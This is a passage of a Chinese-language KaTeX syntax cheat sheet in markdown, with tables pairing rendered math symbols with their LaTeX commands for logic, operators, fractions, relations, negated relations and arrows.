`KaTeX:\exists` | <pur>`\exists`</pur> | `KaTeX:\subset` | <pur>`\subset`</pur> | `KaTeX:\because` | <pur>`\because`</pur> | `KaTeX:\empty` | <pur>`\empty`</pur>
`KaTeX:\exist` | <pur>`\exist`</pur> | `KaTeX:\supset` | <pur>`\supset`</pur> | `KaTeX:\mapsto` | <pur>`\mapsto`</pur> | `KaTeX:\varnothing` | <pur>`\varnothing`</pur>
`KaTeX:\nexists` | <pur>`\nexists`</pur> | `KaTeX:\mid` | <pur>`\mid`</pur> | `KaTeX:\to` | <pur>`\to`</pur> | `KaTeX:\implies` | <pur>`\implies`</pur>
`KaTeX:\in` | <pur>`\in`</pur> | `KaTeX:\land` | <pur>`\land`</pur> | `KaTeX:\gets` | <pur>`\gets`</pur> | `KaTeX:\impliedby` | <pur>`\impliedby`</pur>
`KaTeX:\isin` | <pur>`\isin`</pur> | `KaTeX:\lor` | <pur>`\lor`</pur> | `KaTeX:\leftrightarrow` | <pur>`\leftrightarrow`</pur> | `KaTeX:\iff` | <pur>`\iff`</pur>
`KaTeX:\notin` | <pur>`\notin`</pur> | `KaTeX:\ni` | <pur>`\ni`</pur> | `KaTeX:\notni` | <pur>`\notni`</pur> | `KaTeX:\neg` `KaTeX:\lnot` | <pur>`\neg`</pur><pur>`\lnot`</pur>
<!--rehype:className=left-align-->
---
:- | :- | :- | :-
:- | :- | :- | :-
`KaTeX:\Set{ x \| x<\frac 1 2 }` | <pur>\Set{ x \| x<\frac 1 2 }</pur> | `KaTeX:\set{x\|x<5}` | <pur>\set{x\|x<5}</pur>
### 宏指令
<!--rehype:wrap-class=col-span-3-->
:- | :- | :- | :-
:- | :- | :- | :-
`KaTeX:\def\foo{x^2} \foo + \foo` | <pur>\def\foo{x^2} \foo + \foo</pur> | `KaTeX:\gdef\bar#1{#1^2} \bar{y} + \bar{y}` | <pur>\gdef\bar#1{#1^2} \bar{y} + \bar{y}</pur>
<!--rehype:className=left-align-->
### 特殊符号
<!--rehype:wrap-class=col-span-3-->
:- | :- | :- | :- | :- | :-
:- | :- | :- | :- | :- | :-
`KaTeX:\bra{\phi}` | <pur>\bra{\phi}</pur> | `KaTeX:\ket{\psi}` | <pur>\ket{\psi}</pur> | `KaTeX:\braket{\phi\|\psi}` | <pur>`\braket{\phi\|\psi}`</pur>
`KaTeX:\Bra{\phi}` | <pur>\Bra{\phi}</pur> | `KaTeX:\Ket{\psi}` | <pur>\Ket{\psi}</pur> | `KaTeX:\Braket{ ϕ \| \frac{∂^2}{∂ t^2} \| ψ }` | <pur>`\Braket{ ϕ \| \frac{∂^2}{∂ t^2} \| ψ }`</pur>
<!--rehype:className=left-align-->
运算符
---
### 数学运算符
<!--rehype:wrap-class=col-span-3 row-span-2-->
:- | :- | :- | :- | :- | :- | :- | :-
:- | :- | :- | :- | :- | :- | :- | :-
`KaTex:\arcsin` | <pur>`\arcsin`</pur> | `KaTex:\cosec` | <pur>`\cosec`</pur> | `KaTex:\deg` | <pur>`\deg`</pur> | `KaTex:\sec` | <pur>`\sec`</pur>
`KaTex:\arccos` | <pur>`\arccos`</pur> | `KaTex:\cosh` | <pur>`\cosh`</pur> | `KaTex:\dim` | <pur>`\dim`</pur> | `KaTex:\sin` | <pur>`\sin`</pur>
`KaTex:\arctan` | <pur>`\arctan`</pur> | `KaTex:\cot` | <pur>`\cot`</pur> | `KaTex:\exp` | <pur>`\exp`</pur> | `KaTex:\sinh` | <pur>`\sinh`</pur>
`KaTex:\arctg` | <pur>`\arctg`</pur> | `KaTex:\cotg` | <pur>`\cotg`</pur> | `KaTex:\hom` | <pur>`\hom`</pur> | `KaTex:\sh` | <pur>`\sh`</pur>
`KaTex:\arcctg` | <pur>`\arcctg`</pur> | `KaTex:\coth` | <pur>`\coth`</pur> | `KaTex:\ker` | <pur>`\ker`</pur> | `KaTex:\tan` | <pur>`\tan`</pur>
`KaTex:\arg` | <pur>`\arg`</pur> | `KaTex:\csc` | <pur>`\csc`</pur> | `KaTex:\lg` | <pur>`\lg`</pur> | `KaTex:\tanh` | <pur>`\tanh`</pur>
`KaTex:\ch` | <pur>`\ch`</pur> | `KaTex:\ctg` | <pur>`\ctg`</pur> | `KaTex:\ln` | <pur>`\ln`</pur> | `KaTex:\tg` | <pur>`\tg`</pur>
`KaTex:\cos` | <pur>`\cos`</pur> | `KaTex:\cth` | <pur>`\cth`</pur> | `KaTex:\log` | <pur>`\log`</pur> | `KaTex:\th` | <pur>`\th`</pur>
`KaTex:\operatorname{f}` | <pur>`\operatorname{f}`</pur> |
`KaTex:\argmax` | <pur>`\argmax`</pur> | `KaTex:\injlim` | <pur>`\injlim`</pur> | `KaTex:\min` | <pur>`\min`</pur> | `KaTex:\varinjlim` | <pur>`\varinjlim`</pur>
`KaTex:\argmin` | <pur>`\argmin`</pur> | `KaTex:\lim` | <pur>`\lim`</pur> | `KaTex:\plim` | <pur>`\plim`</pur> | `KaTex:\varliminf` | <pur>`\varliminf`</pur>
`KaTex:\det` | <pur>`\det`</pur> | `KaTex:\liminf` | <pur>`\liminf`</pur> | `KaTex:\Pr` | <pur>`\Pr`</pur> | `KaTex:\varlimsup` | <pur>`\varlimsup`</pur>
`KaTex:\gcd` | <pur>`\gcd`</pur> | `KaTex:\limsup` | <pur>`\limsup`</pur> | `KaTex:\projlim` | <pur>`\projlim`</pur> | `KaTex:\varprojlim` | <pur>`\varprojlim`</pur>
`KaTex:\inf` | <pur>`\inf`</pur> | `KaTex:\max` | <pur>`\max`</pur> | `KaTex:\sup` | <pur>`\sup`</pur> | `KaTex:\operatorname*{f}` | <pur>`\operatorname*{f}`</pur>
`KaTex:\operatornamewithlimits{f}` | <pur>`\operatornamewithlimits{f}`</pur> |
<!--rehype:className=left-align-->
### 大运算符
<!--rehype:wrap-class=col-span-2-->
:- | :- | :- | :- | :- | :- | :- | :-
:- | :- | :- | :- | :- | :- | :- | :-
`KaTex:\sum` | <pur>`\sum`</pur> | `KaTex:\prod` | <pur>`\prod`</pur> | `KaTex:\bigotimes` | <pur>`\bigotimes`</pur> | `KaTex:\bigvee` | <pur>`\bigvee`</pur>
`KaTex:\int` | <pur>`\int`</pur> | `KaTex:\coprod` | <pur>`\coprod`</pur> | `KaTex:\bigoplus` | <pur>`\bigoplus`</pur> | `KaTex:\bigwedge` | <pur>`\bigwedge`</pur>
`KaTex:\iint` | <pur>`\iint`</pur> | `KaTex:\intop` | <pur>`\intop`</pur> | `KaTex:\bigodot` | <pur>`\bigodot`</pur> | `KaTex:\bigcap` | <pur>`\bigcap`</pur>
`KaTex:\iiint` | <pur>`\iiint`</pur> | `KaTex:\smallint` | <pur>`\smallint`</pur> | `KaTex:\biguplus` | <pur>`\biguplus`</pur> | `KaTex:\bigcup` | <pur>`\bigcup`</pur>
`KaTex:\oint` | <pur>`\oint`</pur> | `KaTex:\oiint` | <pur>`\oiint`</pur> | `KaTex:\oiiint` | <pur>`\oiiint`</pur> | `KaTex:\bigsqcup` | <pur>`\bigsqcup`</pur>
<!--rehype:className=left-align-->
### 分数和二项式
<!--rehype:wrap-class=row-span-2-->
:- | :- | :- | :-
:- | :- | :- | :-
`KaTex:\frac{a}{b}` | <pur>`\frac{a}{b}`</pur> | `KaTex:\tfrac{a}{b}` | <pur>`\tfrac{a}{b}`</pur>
`KaTex:{a \over b}` | <pur>`{a \over b}`</pur> | `KaTex:\dfrac{a}{b}` | <pur>`\dfrac{a}{b}`</pur>
`KaTex:\genfrac ( ] {2pt}{1}a{a+1}` | <pur>`\genfrac ( ] {2pt}{1}a{a+1}`</pur> | `KaTex:{a \above{2pt} b+1}` | <pur>`{a \above{2pt} b+1}`</pur>
`KaTex:a/b` | <pur>`a/b`</pur> | `KaTex:\cfrac{a}{1 + \cfrac{1}{b}}` | <pur>`\cfrac{a}{1 + \cfrac{1}{b}}`</pur>
<!--rehype:className=left-align-->
:- | :- | :- | :-
:- | :- | :- | :-
`KaTex:\binom{n}{k}` | <pur>`\binom{n}{k}`</pur> | `KaTex:\dbinom{n}{k}` | <pur>`\dbinom{n}{k}`</pur>
`KaTex:{n\brace k}` | <pur>`{n\brace k}`</pur> | `KaTex:{n \choose k}` | <pur>`{n \choose k}`</pur>
`KaTex:\tbinom{n}{k}` | <pur>`\tbinom{n}{k}`</pur> | `KaTex:{n\brack k}` | <pur>`{n\brack k}`</pur>
<!--rehype:className=left-align-->
### \sqrt
<!--rehype:wrap-class=col-span-2-->
:- | :- | :- | :-
:- | :- | :- | :-
`KaTex:\sqrt{x}` | <pur>`\sqrt{x}`</pur> | `KaTex:\sqrt[3]{x}` | <pur>`\sqrt[3]{x}`</pur>
<!--rehype:className=left-align-->
### 二元运算符
<!--rehype:wrap-class=col-span-3-->
:- | :- | :- | :- | :- | :- | :- | :-
:- | :- | :- | :- | :- | :- | :- | :-
`KaTex:+` | <pur>`+`</pur> | `KaTex:\cdot` | <pur>`\cdot`</pur> | `KaTex:\gtrdot` | <pur>`\gtrdot`</pur> | `KaTex:x \pmod a` | <pur>`x \pmod a`</pur>
`KaTex:-` | <pur>`-`</pur> | `KaTex:\cdotp` | <pur>`\cdotp`</pur> | `KaTex:\intercal` | <pur>`\intercal`</pur> | `KaTex:x \pod a` | <pur>`x \pod a`</pur>
`KaTex:/` | <pur>`/`</pur> | `KaTex:\centerdot` | <pur>`\centerdot`</pur> | `KaTex:\land` | <pur>`\land`</pur> | `KaTex:\rhd` | <pur>`\rhd`</pur>
`KaTex:*` | <pur>`*`</pur> | `KaTex:\circ` | <pur>`\circ`</pur> | `KaTex:\leftthreetimes` | <pur>`\leftthreetimes`</pur> | `KaTex:\rightthreetimes` | <pur>`\rightthreetimes`</pur>
`KaTex:\amalg` | <pur>`\amalg`</pur> | `KaTex:\circledast` | <pur>`\circledast`</pur> | `KaTex:\ldotp` | <pur>`\ldotp`</pur> | `KaTex:\rtimes` | <pur>`\rtimes`</pur>
`KaTex:\And` | <pur>`\And`</pur> | `KaTex:\circledcirc` | <pur>`\circledcirc`</pur> | `KaTex:\lor` | <pur>`\lor`</pur> | `KaTex:\setminus` | <pur>`\setminus`</pur>
`KaTex:\ast` | <pur>`\ast`</pur> | `KaTex:\circleddash` | <pur>`\circleddash`</pur> | `KaTex:\lessdot` | <pur>`\lessdot`</pur> | `KaTex:\smallsetminus` | <pur>`\smallsetminus`</pur>
`KaTex:\barwedge` | <pur>`\barwedge`</pur> | `KaTex:\Cup` | <pur>`\Cup`</pur> | `KaTex:\lhd` | <pur>`\lhd`</pur> | `KaTex:\sqcap` | <pur>`\sqcap`</pur>
`KaTex:\bigcirc` | <pur>`\bigcirc`</pur> | `KaTex:\cup` | <pur>`\cup`</pur> | `KaTex:\ltimes` | <pur>`\ltimes`</pur> | `KaTex:\sqcup` | <pur>`\sqcup`</pur>
`KaTex:\bmod` | <pur>`\bmod`</pur> | `KaTex:\curlyvee` | <pur>`\curlyvee`</pur> | `KaTex:x\mod a` | <pur>`x\mod a`</pur> | `KaTex:\times` | <pur>`\times`</pur>
`KaTex:\boxdot` | <pur>`\boxdot`</pur> | `KaTex:\curlywedge` | <pur>`\curlywedge`</pur> | `KaTex:\mp` | <pur>`\mp`</pur> | `KaTex:\unlhd` | <pur>`\unlhd`</pur> |
`KaTex:\boxminus` | <pur>`\boxminus`</pur> | `KaTex:\div` | <pur>`\div`</pur> | `KaTex:\odot` | <pur>`\odot`</pur> | `KaTex:\unrhd` | <pur>`\unrhd`</pur>
`KaTex:\boxplus` | <pur>`\boxplus`</pur> | `KaTex:\divideontimes` | <pur>`\divideontimes`</pur> | `KaTex:\ominus` | <pur>`\ominus`</pur> | `KaTex:\uplus` | <pur>`\uplus`</pur>
`KaTex:\boxtimes` | <pur>`\boxtimes`</pur> | `KaTex:\dotplus` | <pur>`\dotplus`</pur> | `KaTex:\oplus` | <pur>`\oplus`</pur> | `KaTex:\vee` | <pur>`\vee`</pur>
`KaTex:\bullet` | <pur>`\bullet`</pur> | `KaTex:\doublebarwedge` | <pur>`\doublebarwedge`</pur> | `KaTex:\otimes` | <pur>`\otimes`</pur> | `KaTex:\veebar` | <pur>`\veebar`</pur>
`KaTex:\Cap` | <pur>`\Cap`</pur> | `KaTex:\doublecap` | <pur>`\doublecap`</pur> | `KaTex:\oslash` | <pur>`\oslash`</pur> | `KaTex:\wedge` | <pur>`\wedge`</pur>
`KaTex:\cap` | <pur>`\cap`</pur> | `KaTex:\doublecup` | <pur>`\doublecup`</pur> | `KaTex:\pm` | <pur>`\pm`</pur> | `KaTex:\plusmn` | <pur>`\plusmn`</pur>
`KaTex:\wr` | <pur>`\wr`</pur>` |
<!--rehype:className=left-align-->
关系
---
### 关系
<!--rehype:wrap-class=col-span-3-->
:- | :- | :- | :- | :- | :- | :- | :-
:- | :- | :- | :- | :- | :- | :- | :-
`KaTex:=` | <pur>`=`</pur> | `KaTex:\doteqdot` | <pur>`\doteqdot`</pur> | `KaTex:\lessapprox` | <pur>`\lessapprox`</pur> | `KaTex:\smile` | <pur>`\smile`</pur>
`KaTex:<` | <pur>`<`</pur> | `KaTex:\eqcirc` | <pur>`\eqcirc`</pur> | `KaTex:\lesseqgtr` | <pur>`\lesseqgtr`</pur> | `KaTex:\sqsubset` | <pur>`\sqsubset`</pur>
`KaTex:>` | <pur>`>`</pur> | `KaTex:\eqcolon` | <pur>`\eqcolon`</pur> 或 <pur>`\minuscolon`</pur> | `KaTex:\lesseqqgtr` | <pur>`\lesseqqgtr`</pur> | `KaTex:\sqsubseteq` | <pur>`\sqsubseteq`</pur>
`KaTex::` | <pur>`:`</pur> | `KaTex:\Eqcolon` | <pur>`\Eqcolon`</pur> 或 <pur>`\minuscoloncolon`</pur> | `KaTex:\lessgtr` | <pur>`\lessgtr`</pur> | `KaTex:\sqsupset` | <pur>`\sqsupset`</pur>
`KaTex:\approx` | <pur>`\approx`</pur> | `KaTex:\eqqcolon` | <pur>`\eqqcolon`</pur> 或 <pur>`\equalscolon`</pur> | `KaTex:\lesssim` | <pur>`\lesssim`</pur> | `KaTex:\sqsupseteq` | <pur>`\sqsupseteq`</pur>
`KaTex:\approxcolon` | <pur>`\approxcolon`</pur> | `KaTex:\Eqqcolon` | <pur>`\Eqqcolon`</pur> 或 <pur>`\equalscoloncolon`</pur> | `KaTex:\ll` | <pur>`\ll`</pur> | `KaTex:\Subset` | <pur>`\Subset`</pur>
`KaTex:\approxcoloncolon` | <pur>`\approxcoloncolon`</pur> | `KaTex:\eqsim` | <pur>`\eqsim`</pur> | `KaTex:\lll` | <pur>`\lll`</pur> | `KaTex:\subset` | <pur>`\subset`</pur> 或 <pur>`\sub`</pur>
`KaTex:\approxeq` | <pur>`\approxeq`</pur> | `KaTex:\eqslantgtr` | <pur>`\eqslantgtr`</pur> | `KaTex:\llless` | <pur>`\llless`</pur> | `KaTex:\subseteq` | <pur>`\subseteq`</pur> 或 <pur>`\sube`</pur>
`KaTex:\asymp` | <pur>`\asymp`</pur> | `KaTex:\eqslantless` | <pur>`\eqslantless`</pur> | `KaTex:\lt` | <pur>`\lt`</pur> | `KaTex:\subseteqq` | <pur>`\subseteqq`</pur>
`KaTex:\backepsilon` | <pur>`\backepsilon`</pur> | `KaTex:\equiv` | <pur>`\equiv`</pur> | `KaTex:\mid` | <pur>`\mid`</pur> | `KaTex:\succ` | <pur>`\succ`</pur>
`KaTex:\backsim` | <pur>`\backsim`</pur> | `KaTex:\fallingdotseq` | <pur>`\fallingdotseq`</pur> | `KaTex:\models` | <pur>`\models`</pur> | `KaTex:\succapprox` | <pur>`\succapprox`</pur>
`KaTex:\backsimeq` | <pur>`\backsimeq`</pur> | `KaTex:\frown` | <pur>`\frown`</pur> | `KaTex:\multimap` | <pur>`\multimap`</pur> | `KaTex:\succcurlyeq` | <pur>`\succcurlyeq`</pur>
`KaTex:\between` | <pur>`\between`</pur> | `KaTex:\ge` | <pur>`\ge`</pur> | `KaTex:\origof` | <pur>`\origof`</pur> | `KaTex:\succeq` | <pur>`\succeq`</pur>
`KaTex:\bowtie` | <pur>`\bowtie`</pur> | `KaTex:\geq` | <pur>`\geq`</pur> | `KaTex:\owns` | <pur>`\owns`</pur> | `KaTex:\succsim` | <pur>`\succsim`</pur>
`KaTex:\bumpeq` | <pur>`\bumpeq`</pur> | `KaTex:\geqq` | <pur>`\geqq`</pur> | `KaTex:\parallel` | <pur>`\parallel`</pur> | `KaTex:\Supset` | <pur>`\Supset`</pur>
`KaTex:\Bumpeq` | <pur>`\Bumpeq`</pur> | `KaTex:\geqslant` | <pur>`\geqslant`</pur> | `KaTex:\perp` | <pur>`\perp`</pur> | `KaTex:\supset` | <pur>`\supset`</pur>
`KaTex:\circeq` | <pur>`\circeq`</pur> | `KaTex:\gg` | <pur>`\gg`</pur> | `KaTex:\pitchfork` | <pur>`\pitchfork`</pur> | `KaTex:\supseteq` | <pur>`\supseteq`</pur> 或 <pur>`\supe`</pur>
`KaTex:\colonapprox` | <pur>`\colonapprox`</pur> | `KaTex:\ggg` | <pur>`\ggg`</pur> | `KaTex:\prec` | <pur>`\prec`</pur> | `KaTex:\supseteqq` | <pur>`\supseteqq`</pur>
`KaTex:\Colonapprox` | <pur>`\Colonapprox`</pur> 或 <pur>`\coloncolonapprox`</pur> | `KaTex:\gggtr` | <pur>`\gggtr`</pur> | `KaTex:\precapprox` | <pur>`\precapprox`</pur> | `KaTex:\thickapprox` | <pur>`\thickapprox`</pur>
`KaTex:\coloneq` | <pur>`\coloneq`</pur> 或 <pur>`\colonminus`</pur> | `KaTex:\gt` | <pur>`\gt`</pur> | `KaTex:\preccurlyeq` | <pur>`\preccurlyeq`</pur> | `KaTex:\thicksim` | <pur>`\thicksim`</pur>
`KaTex:\Coloneq` | <pur>`\Coloneq`</pur> 或 <pur>`\coloncolonminus`</pur> | `KaTex:\gtrapprox` | <pur>`\gtrapprox`</pur> | `KaTex:\preceq` | <pur>`\preceq`</pur> | `KaTex:\trianglelefteq` | <pur>`\trianglelefteq`</pur>
`KaTex:\coloneqq` | <pur>`\coloneqq`</pur> 或 <pur>`\colonequals`</pur> | `KaTex:\gtreqless` | <pur>`\gtreqless`</pur> | `KaTex:\precsim` | <pur>`\precsim`</pur> | `KaTex:\triangleq` | <pur>`\triangleq`</pur>
`KaTex:\Coloneqq` | <pur>`\Coloneqq`</pur> 或 <pur>`\coloncolonequals`</pur> | `KaTex:\gtreqqless` | <pur>`\gtreqqless`</pur> | `KaTex:\propto` | <pur>`\propto`</pur> | `KaTex:\trianglerighteq` | <pur>`\trianglerighteq`</pur>
`KaTex:\colonsim` | <pur>`\colonsim`</pur> | `KaTex:\gtrless` | <pur>`\gtrless`</pur> | `KaTex:\risingdotseq` | <pur>`\risingdotseq`</pur> | `KaTex:\varpropto` | <pur>`\varpropto`</pur>
`KaTex:\Colonsim` | <pur>`\Colonsim`</pur> 或 <pur>`\coloncolonsim`</pur> | `KaTex:\gtrsim` | <pur>`\gtrsim`</pur> | `KaTex:\shortmid` | <pur>`\shortmid`</pur> | `KaTex:\vartriangle` | <pur>`\vartriangle`</pur>
`KaTex:\cong` | <pur>`\cong`</pur> | `KaTex:\imageof` | <pur>`\imageof`</pur> | `KaTex:\shortparallel` | <pur>`\shortparallel`</pur> | `KaTex:\vartriangleleft` | <pur>`\vartriangleleft`</pur>
`KaTex:\curlyeqprec` | <pur>`\curlyeqprec`</pur> | `KaTex:\in` | <pur>`\in`</pur> 或 <pur>`\isin`</pur> | `KaTex:\sim` | <pur>`\sim`</pur> | `KaTex:\vartriangleright` | <pur>`\vartriangleright`</pur>
`KaTex:\curlyeqsucc` | <pur>`\curlyeqsucc`</pur> | `KaTex:\Join` | <pur>`\Join`</pur> | `KaTex:\simcolon` | <pur>`\simcolon`</pur> | `KaTex:\vcentcolon` | <pur>`\vcentcolon`</pur> 或 <pur>`\ratio`</pur>
`KaTex:\dashv` | <pur>`\dashv`</pur> | `KaTex:\le` | <pur>`\le`</pur> | `KaTex:\simcoloncolon` | <pur>`\simcoloncolon`</pur> | `KaTex:\vdash` | <pur>`\vdash`</pur>
`KaTex:\dblcolon` | <pur>`\dblcolon`</pur> 或 <pur>`\coloncolon`</pur> | `KaTex:\leq` | <pur>`\leq`</pur> | `KaTex:\simeq` | <pur>`\simeq`</pur> | `KaTex:\vDash` | <pur>`\vDash`</pur>
`KaTex:\doteq` | <pur>`\doteq`</pur> | `KaTex:\leqq` | <pur>`\leqq`</pur> | `KaTex:\smallfrown` | <pur>`\smallfrown`</pur> | `KaTex:\Vdash` | <pur>`\Vdash`</pur>
`KaTex:\Doteq` | <pur>`\Doteq`</pur> | `KaTex:\leqslant` | <pur>`\leqslant`</pur> | `KaTex:\smallsmile` | <pur>`\smallsmile`</pur> | `KaTex:\Vvdash` | <pur>`\Vvdash`</pur>
<!--rehype:className=left-align-->
### 否定关系
<!--rehype:wrap-class=col-span-3-->
:- | :- | :- | :- | :- | :- | :- | :-
:- | :- | :- | :- | :- | :- | :- | :-
`KaTex:\gnapprox` | <pur>`\gnapprox`</pur> | `KaTex:\ngeqslant` | <pur>`\ngeqslant`</pur> | `KaTex:\nsubseteq` | <pur>`\nsubseteq`</pur> | `KaTex:\precneqq` | <pur>`\precneqq`</pur>
`KaTex:\gneq` | <pur>`\gneq`</pur> | `KaTex:\ngtr` | <pur>`\ngtr`</pur> | `KaTex:\nsubseteqq` | <pur>`\nsubseteqq`</pur> | `KaTex:\precnsim` | <pur>`\precnsim`</pur>
`KaTex:\gneqq` | <pur>`\gneqq`</pur> | `KaTex:\nleq` | <pur>`\nleq`</pur> | `KaTex:\nsucc` | <pur>`\nsucc`</pur> | `KaTex:\subsetneq` | <pur>`\subsetneq`</pur>
`KaTex:\gnsim` | <pur>`\gnsim`</pur> | `KaTex:\nleqq` | <pur>`\nleqq`</pur> | `KaTex:\nsucceq` | <pur>`\nsucceq`</pur> | `KaTex:\subsetneqq` | <pur>`\subsetneqq`</pur>
`KaTex:\gvertneqq` | <pur>`\gvertneqq`</pur> | `KaTex:\nleqslant` | <pur>`\nleqslant`</pur> | `KaTex:\nsupseteq` | <pur>`\nsupseteq`</pur> | `KaTex:\succnapprox` | <pur>`\succnapprox`</pur>
`KaTex:\lnapprox` | <pur>`\lnapprox`</pur> | `KaTex:\nless` | <pur>`\nless`</pur> | `KaTex:\nsupseteqq` | <pur>`\nsupseteqq`</pur> | `KaTex:\succneqq` | <pur>`\succneqq`</pur>
`KaTex:\lneq` | <pur>`\lneq`</pur> | `KaTex:\nmid` | <pur>`\nmid`</pur> | `KaTex:\ntriangleleft` | <pur>`\ntriangleleft`</pur> | `KaTex:\succnsim` | <pur>`\succnsim`</pur>
`KaTex:\lneqq` | <pur>`\lneqq`</pur> | `KaTex:\notin` | <pur>`\notin`</pur> | `KaTex:\ntrianglelefteq` | <pur>`\ntrianglelefteq`</pur> | `KaTex:\supsetneq` | <pur>`\supsetneq`</pur>
`KaTex:\lnsim` | <pur>`\lnsim`</pur> | `KaTex:\notni` | <pur>`\notni`</pur> | `KaTex:\ntriangleright` | <pur>`\ntriangleright`</pur> | `KaTex:\supsetneqq` | <pur>`\supsetneqq`</pur>
`KaTex:\lvertneqq` | <pur>`\lvertneqq`</pur> | `KaTex:\nparallel` | <pur>`\nparallel`</pur> | `KaTex:\ntrianglerighteq` | <pur>`\ntrianglerighteq`</pur> | `KaTex:\varsubsetneq` | <pur>`\varsubsetneq`</pur>
`KaTex:\ncong` | <pur>`\ncong`</pur> | `KaTex:\nprec` | <pur>`\nprec`</pur> | `KaTex:\nvdash` | <pur>`\nvdash`</pur> | `KaTex:\varsubsetneqq` | <pur>`\varsubsetneqq`</pur>
`KaTex:\ne` | <pur>`\ne`</pur> | `KaTex:\npreceq` | <pur>`\npreceq`</pur> | `KaTex:\nvDash` | <pur>`\nvDash`</pur> | `KaTex:\varsupsetneq` | <pur>`\varsupsetneq`</pur>
`KaTex:\neq` | <pur>`\neq`</pur> | `KaTex:\nshortmid` | <pur>`\nshortmid`</pur> | `KaTex:\nVDash` | <pur>`\nVDash`</pur> | `KaTex:\varsupsetneqq` | <pur>`\varsupsetneqq`</pur>
`KaTex:\ngeq` | <pur>`\ngeq`</pur> | `KaTex:\nshortparallel` | <pur>`\nshortparallel`</pur> | `KaTex:\nVdash` | <pur>`\nVdash`</pur>
`KaTex:\ngeqq` | <pur>`\ngeqq`</pur> | `KaTex:\nsim` | <pur>`\nsim`</pur> | `KaTex:\precnapprox` | <pur>`\precnapprox`</pur>
`KaTex:\not =` <pur>`\not =`</pur>
### 箭头
<!--rehype:wrap-class=col-span-3-->
:- | :- | :- | :- | :- | :-
:- | :- | :- | :- | :- | :-
`KaTex:\circlearrowleft` | <pur>`\circlearrowleft`</pur> | `KaTex:\leftharpoonup` | <pur>`\leftharpoonup`</pur> | `KaTex:\rArr` | <pur>`\rArr`</pur>
`KaTex:\circlearrowright` | <pur>`\circlearrowright`</pur> | `KaTex:\leftleftarrows` | <pur>`\leftleftarrows`</pur> | `KaTex:\rarr` | <pur>`\rarr`</pur>
`KaTex:\curvearrowleft` | <pur>`\curvearrowleft`</pur> | `KaTex:\leftrightarrow` | <pur>`\leftrightarrow`</pur> | `KaTex:\restriction` | <pur>`\restriction`</pur>
`KaTex:\curvearrowright` | <pur>`\curvearrowright`</pur> | `KaTex:\Leftrightarrow` | <pur>`\Leftrightarrow`</pur> | `KaTex:\rightarrow` | <pur>`\rightarrow`</pur>
`KaTex:\Darr` | <pur>`\Darr`</pur> | `KaTex:\leftrightarrows` | <pur>`\leftrightarrows`</pur> | `KaTex:\Rightarrow` | <pur>`\Rightarrow`</pur>
`KaTex:\dArr` | <pur>`\dArr`</pur> | `KaTex:\leftrightharpoons` | <pur>`\leftrightharpoons`</pur> | `KaTex:\rightarrowtail` | <pur>`\rightarrowtail`</pur>
`KaTex:\darr` | <pur>`\darr`</pur> | `KaTex:\leftrightsquigarrow` | <pur>`\leftrightsquigarrow`</pur> | `KaTex:\rightharpoondown` | <pur>`\rightharpoondown`</pur>
`KaTex:\dashleftarrow` | <pur>`\dashleftarrow`</pur> | `KaTex:\Lleftarrow` | <pur>`\Lleftarrow`</pur> | `KaTex:\rightharpoonup` | <pur>`\rightharpoonup`</pur>
`KaTex:\dashrightarrow` | <pur>`\dashrightarrow`</pur> | `KaTex:\longleftarrow` | <pur>`\longleftarrow`</pur> | `KaTex:\rightleftarrows` | <pur>`\rightleftarrows`</pur>
`KaTex:\downarrow` | <pur>`\downarrow`</pur> | `KaTex:\Longleftarrow` | <pur>`\Longleftarrow`</pur> | `KaTex:\rightleftharpoons` | <pur>`\rightleftharpoons`</pur>
`KaTex:\Downarrow` | <pur>`\Downarrow`</pur> | `KaTex:\longleftrightarrow` | <pur>`\longleftrightarrow`</pur> | `KaTex:\rightrightarrows` | <pur>`\rightrightarrows`</pur>
`KaTex:\downdownarrows` | <pur>`\downdownarrows`</pur> | `KaTex:\Longleftrightarrow` | <pur>`\Longleftrightarrow`</pur> | `KaTex:\rightsquigarrow` | <pur>`\rightsquigarrow`</pur>
`KaTex:\downharpoonleft` | <pur>`\downharpoonleft`</pur> | `KaTex:\longmapsto` | <pur>`\longmapsto`</pur> | `KaTex:\Rrightarrow` | <pur>`\Rrightarrow`</pur>
`KaTex:\downharpoonright` | <pur>`\downharpoonright`</pur> | `KaTex:\longrightarrow` | <pur>`\longrightarrow`</pur> | `KaTex:\Rsh` | <pur>`\Rsh`</pur>
`KaTex:\gets` | <pur>`\gets`</pur> | `KaTex:\Longrightarrow` | <pur>`\Longrightarrow`</pur> | `KaTex:\searrow` | <pur>`\searrow`</pur>
`KaTex:\Harr` | <pur>`\Harr`</pur> | `KaTex:\looparrowleft` | <pur>`\looparrowleft`</pur> | `KaTex:\swarrow` | <pur>`\swarrow`</pur>
`KaTex:\hArr` | <pur>`\hArr`</pur> | `KaTex:\looparrowright` | <pur>`\looparrowright`</pur> | `KaTex:\to` | <pur>`\to`</pur>
`KaTex:\harr` | <pur>`\harr`</pur> | `KaTex:\Lrarr` | <pur>`\Lrarr`</pur> | `KaTex:\twoheadleftarrow` | <pur>`\twoheadleftarrow`</pur>
`KaTex:\hookleftarrow` | <pur>`\hookleftarrow`</pur> | `KaTex:\lrArr` | <pur>`\lrArr`</pur> | `KaTex:\twoheadrightarrow` | <pur>`\twoheadrightarrow`</pur>
`KaTex:\hookrightarrow` | <pur>`\hookrightarrow`</pur> | `KaTex:\lrarr` | <pur>`\lrarr`</pur> | `KaTex:\Uarr` | <pur>`\Uarr`</pur>
`KaTex:\iff` | <pur>`\iff`</pur> | `KaTex:\Lsh` | <pur>`\Lsh`</pur> | `KaTex:\uArr` | <pur>`\uArr`</pur>
`KaTex:\impliedby` | <pur>`\impliedby`</pur> | `KaTex:\mapsto` | <pur>`\mapsto`</pur> | `KaTex:\uarr` | <pur>`\uarr`</pur>
`KaTex:\implies` | <pur>`\implies`</pur> | `KaTex:\nearrow` | <pur>`\nearrow`</pur> | `KaTex:\uparrow` | <pur>`\uparrow`</pur>
`KaTex:\Larr` | <pur>`\Larr`</pur> | `KaTex:\nleftarrow` | <pur>`\nleftarrow`</pur> | `KaTex:\Uparrow` | <pur>`\Uparrow`</pur>
`KaTex:\lArr` | <pur>`\lArr`</pur> | `KaTex:\nLeftarrow` | <pur>`\nLeftarrow`</pur> | `KaTex:\updownarrow` | <pur>`\updownarrow`</pur>
`KaTex:\larr` | <pur>`\larr`</pur> | `KaTex:\nleftrightarrow` | <pur>`\nleftrightarrow`</pur> | `KaTex:\Updownarrow` | <pur>`\Updownarrow`</pur>
`KaTex:\leadsto` | <pur>`\leadsto`</pur> | `KaTex:\nLeftrightarrow` | <pur>`\nLeftrightarrow`</pur> | `KaTex:\upharpoonleft` | <pur>`\upharpoonleft`</pur>
